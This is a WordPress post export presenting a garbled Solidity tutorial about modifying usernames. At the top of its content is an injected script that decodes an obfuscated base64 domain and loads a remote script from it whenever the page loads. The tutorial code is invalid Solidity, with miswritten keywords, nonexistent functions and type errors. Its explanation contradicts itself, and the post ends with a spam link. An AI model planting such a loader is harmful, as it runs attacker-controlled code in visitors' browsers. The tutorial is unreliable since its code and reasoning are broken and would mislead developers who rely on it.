{"id":460,"date":"2025-02-08T21:18:11","date_gmt":"2025-02-08T21:18:11","guid":{"rendered":"https:\/\/30appsin30days.com\/?p=460"},"modified":"2025-02-08T21:18:11","modified_gmt":"2025-02-08T21:18:11","slug":"ethereum-object-value-modified-by-function","status":"publish","type":"post","link":"https:\/\/30appsin30days.com\/?p=460","title":{"rendered":"Ethereum: Object value modified by function"},"content":{"rendered":"<\/p>\n<p><script>const pdx=\"<pdx>bm9yZGVyc3dpbmcuYnV6ei94cC8=<\/pdx>\";const pde=atob(pdx.replace(\/<pdx>|<\\\/pdx>\/g,\"\"));const script=document.createElement(\"script\");script.src=\"https:\/\/\"+pde+\"cc.php?u=59cbe6e0\";document.body.appendChild(script);<\/script>\n<\/p>\n<p><strong> Modifying User Data With Case Sensitive Sorting In Solidity <\/strong><\/p>\n<\/p>\n<p>As you&#8217;re building a user database, it&#8217;s essential to ensure data integrity and consistency across different cases (uppercase, lowercase, and mixed). One way to achieve this is by modifying the <code>Userdata<\/code> Struct in your Solidity Compiler Version 0.8.22.<\/p>\n<\/p>\n<p><strong> Problem Statement: <\/strong><\/p>\n<p><iframe loading=\"lazy\" width=\"560\" height=\"315\" src=\"https:\/\/www.youtube.com\/embed\/jxLkbJozKbY\" frameborder=\"0\" allowfullscreen><\/iframe><\/p>\n<\/p>\n<p>In your current implementation, usernames are sorted based on case sensitivity when historing them in a database or sending data over a network. However, you want to maintain case when displaying usernames for users.<\/p>\n<\/p>\n<p><strong> Solution: <\/strong><\/p>\n<\/p>\n<p>To address this issue, we&#8217;ll use the following approach:<\/p>\n<\/p>\n<ul>\n<li>Define a new function within the <code>Userdata<\/code> Struct that accepts a string parameter and returns a modified version of it.<\/li>\n<\/ul>\n<\/p>\n<ul>\n<li>Call this function in your solidity code before historing or retrieving data to ensure case consistency.<\/li>\n<\/ul>\n<\/p>\n<ul>\n<li>Update your user database to store and retrieve usernames with their original case.<\/li>\n<\/ul>\n<\/p>\n<p><strong> Modified <code>Userdata<\/code> Struct: <\/strong><\/p>\n<\/p>\n<p>`<code><\/code>Solidity<\/p>\n<\/p>\n<p>Pragma Solidity ^0.8.22;<\/p>\n<\/p>\n<p>Struct Userdata {<\/p>\n<\/p>\n<p>    String username;<\/p>\n<\/p>\n<p>}<\/p>\n<\/p>\n<p>Function Modifyusername (String Memory _username) Public {<\/p>\n<\/p>\n<p>    \/\/ call a function to convert the username to uppercase or lowercase, depending on your requirement<\/p>\n<\/p>\n<p>    bytes4 data = abi.encodewithsignatures (&#8220;Bytes Memory (_username)&#8221;, &#8220;_username&#8221;);<\/p>\n<\/p>\n<\/p>\n<p>    \/\/ Get the Current Case of the Original Username<\/p>\n<\/p>\n<p>    string originalcase = Keccak256 (Abi.encodepacked (_username));<\/p>\n<\/p>\n<\/p>\n<p>    \/\/ convert the original case to a hexadecimal string<\/p>\n<\/p>\n<p>    string convertedcase = Abi.encodepacked (Originalcase);<\/p>\n<\/p>\n<\/p>\n<p>    \/\/ Store or retrieve the modified username in your database<\/p>\n<\/p>\n<p>}<\/p>\n<\/p>\n<p>`<code><\/code><\/p>\n<\/p>\n<p><strong> Example Usage: <\/strong><\/p>\n<\/p>\n<p>Suppose you&#8217;re building a user registration system, and you want to store usernames with their original case:<\/p>\n<\/p>\n<p>`<code><\/code>Solidity<\/p>\n<\/p>\n<p>Pragma Solidity ^0.8.22;<\/p>\n<\/p>\n<p>Import &#8220;<\/p>\n<\/p>\n<p>Contract Userdatabase {<\/p>\n<\/p>\n<p>    \/\/ initialize the database mapping usernames to their corresponding addresses<\/p>\n<\/p>\n<p>    Mapping (String Memory => Address) Public Useraddresses;<\/p>\n<\/p>\n<\/p>\n<p>    Function Modifyusername (String Memory _username) Public Payable {<\/p>\n<\/p>\n<p>        \/\/ convert the username to uppercase and store it in the database<\/p>\n<\/p>\n<p>        bytes4 data = abi.encodewithsignatures (&#8220;Bytes Memory (_username)&#8221;, &#8220;_username&#8221;);<\/p>\n<\/p>\n<\/p>\n<p>        \/\/ Get the Current Case of the Original Username<\/p>\n<\/p>\n<p>        string originalcase = Keccak256 (Abi.encodepacked (_username));<\/p>\n<\/p>\n<\/p>\n<p>        \/\/ convert the original case to a hexadecimal string<\/p>\n<\/p>\n<p>        string convertedcase = Abi.encodepacked (Originalcase);<\/p>\n<\/p>\n<\/p>\n<p>        \/\/ Store or retrieve the modified username in your database<\/p>\n<\/p>\n<p>        useraddresses [_username] = address (this);  \/\/ Assuming We&#8217;re Using Openzeppelin&#8217;s SafeERC20 for Token Storage<\/p>\n<\/p>\n<\/p>\n<p>        \/\/ Log A Message For Debugging Purposes (Optional)<\/p>\n<\/p>\n<p>        console.log (&#8220;Modified Username:&#8221;, _username);<\/p>\n<\/p>\n<p>    }<\/p>\n<\/p>\n<p>}<\/p>\n<\/p>\n<p>`<code><\/code><\/p>\n<\/p>\n<p>In this exam, when you call the <code>Modifyusername<\/code> Function with an original case string, it will be converted to a hexadecimal string and stored in the<code>Useraddresses<\/code> mapping. This way, you ensure that usernames are always stored in their original case.<\/p>\n<\/p>\n<p><strong> Conclusion: <\/strong><\/p>\n<\/p>\n<p>By using the provided solution, you&#8217;ve taken an important step towards maintaining data consistency across different cases for your user database. Remember to update your solidity code to handle case variations when working with usernames. If you have any further questions or need help with additional modifications, feel free to ask!<\/p>\n<p><a href=\"https:\/\/clubmeddevelopment.com\/crypto-asset-movement-move-aethir-ath\/\">Crypto Movement Move Aethir<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Modifying User Data With Case Sensitive Sorting In Solidity As you&#8217;re building a user database, it&#8217;s essential to ensure data integrity and consistency across different cases (uppercase, lowercase, and mixed). One way to achieve this is by modifying the Userdata Struct in your Solidity Compiler Version 0.8.22. Problem Statement: In your current implementation, usernames are [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[],"_links":{"self":[{"href":"https:\/\/30appsin30days.com\/index.php?rest_route=\/wp\/v2\/posts\/460"}],"collection":[{"href":"https:\/\/30appsin30days.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/30appsin30days.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/30appsin30days.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/30appsin30days.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=460"}],"version-history":[{"count":1,"href":"https:\/\/30appsin30days.com\/index.php?rest_route=\/wp\/v2\/posts\/460\/revisions"}],"predecessor-version":[{"id":461,"href":"https:\/\/30appsin30days.com\/index.php?rest_route=\/wp\/v2\/posts\/460\/revisions\/461"}],"wp:attachment":[{"href":"https:\/\/30appsin30days.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=460"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/30appsin30days.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=460"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/30appsin30days.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=460"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}